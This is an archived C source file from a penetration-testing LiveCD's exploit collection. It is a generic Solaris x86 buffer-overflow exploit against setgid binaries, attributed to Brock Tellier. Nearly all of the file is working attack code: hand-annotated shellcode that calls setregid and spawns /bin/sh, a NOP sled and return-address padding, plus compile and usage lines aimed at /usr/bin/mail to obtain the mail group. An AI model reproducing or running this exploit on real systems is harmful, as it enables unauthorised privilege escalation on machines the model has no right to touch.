home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / solx86gid.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  107 lines

  1. /*
  2. * Generic Solaris x86 exploit program by Brock Tellier
  3. * For use against any x86 sgid binary
  4. * Shellcode by Cheez Whiz (fixes problem with
  5. * shells dropping egid if it doesn't match your real gid)
  6. * Will set gid=6(mail)
  7. *
  8. * gcc -o mailex solx86gid.c
  9. *  /usr/bin/mail -m `./mailex 0 1975 2285` foo
  10. *  . <period, enter>
  11. * $ 
  12. *  
  13. * Usage: ./mailex <offset> <NOPS> <BUFSIZE>
  14. */
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <string.h>
  19. #include <unistd.h>
  20.  
  21. #define BUF 10000
  22. #define NOP 0x90
  23.  
  24.  
  25. char shell[] =
  26.   /*  0 */ "\xeb\x45"                         /* jmp springboard [2000]*/
  27.   /* syscall:                                                    [2000]*/
  28.   /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0   [2000]*/
  29.   /*  9 */ "\xc3"                             /* ret             [2000]*/
  30.   /* start:                                                      [2000]*/
  31.   /* 10 */ "\x5e"                             /* popl %esi       [2000]*/
  32.   /* 11 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  33.   /* 13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
  34.   /* 16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
  35.   /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
  36.   /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  37.   /* setregid:                                                   [2000]*/
  38.   /* 25 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  39.   /* 27 */ "\xb0\x2f"                         /* movb $0x2f,%al  [2000]*/
  40.   /* 29 */ "\xe8\xe0\xff\xff\xff"             /* call syscall    [2000]*/
  41.   /* 34 */ "\x52"                             /* pushl %edx      [2000]*/
  42.   /* 35 */ "\x52"                             /* pushl %edx      [2000]*/
  43.   /* 36 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  44.   /* 38 */ "\xb0\xcb"                         /* movb $0xcb,%al  [2000]*/
  45.   /* 40 */ "\xe8\xd5\xff\xff\xff"             /* call syscall    [2000]*/
  46.   /* 45 */ "\x83\xc4\x08"                     /* addl $0x4,%esp  [2000]*/
  47.   /* execve:                                                     [2000]*/
  48.   /* 48 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  49.   /* 50 */ "\x50"                             /* pushl %eax      [2000]*/
  50.   /* 51 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
  51.   /* 54 */ "\x53"                             /* pushl %ebx      [2000]*/
  52.   /* 55 */ "\x8d\x1e"                         /* leal (%esi),%ebx[2000]*/
  53.   /* 57 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
  54.   /* 60 */ "\x53"                             /* pushl %ebx      [2000]*/
  55.   /* 61 */ "\xb0\x3b"                         /* movb $0x3b,%al  [2000]*/
  56.   /* 63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall    [2000]*/
  57.   /* 68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp  [2000]*/
  58.   /* springboard:                                                [2000]*/
  59.   /* 71 */ "\xe8\xbe\xff\xff\xff"             /* call start      [2000]*/
  60.   /* data:                                                       [2000]*/
  61.   /* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            [2000]*/
  62.   /* 84 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  63.   /* 88 */ "\xff\xff\xff\xff";                /* DATA            [2000]*/
  64.  
  65. unsigned long int nop;
  66. unsigned long int esp;
  67. long int offset;
  68.  
  69. char buf[BUF];
  70.  
  71. unsigned long int get_esp()
  72. {
  73.   __asm__("movl %esp,%eax");
  74. }
  75.  
  76. void
  77. main (int argc, char *argv[])
  78. {
  79.   int buflen, i;
  80.  
  81.   if (argc > 1)
  82.     offset = strtol(argv[1], NULL, 0);
  83.  
  84.   if (argc > 2)
  85.     nop = strtoul(argv[2], NULL, 0);
  86.   else
  87.     nop = 285;
  88.  
  89.   if (argc > 3)
  90.     buflen=atoi(argv[3]);
  91.   else
  92.     buflen=BUF;
  93.  
  94.   esp = get_esp();
  95.  
  96.  
  97.   memset(buf, NOP, buflen);
  98.   memcpy(buf+nop, shell, strlen(shell));
  99.   for (i = nop+strlen(shell); i < buflen-4; i += 4)
  100.     *((int *) &buf[i]) = esp+offset;
  101.  
  102.   for (i = 0; i < strlen(buf); i++) putchar(buf[i]);
  103.  
  104.   return;
  105. }
  106. /*                    www.hack.co.za              [2000]*/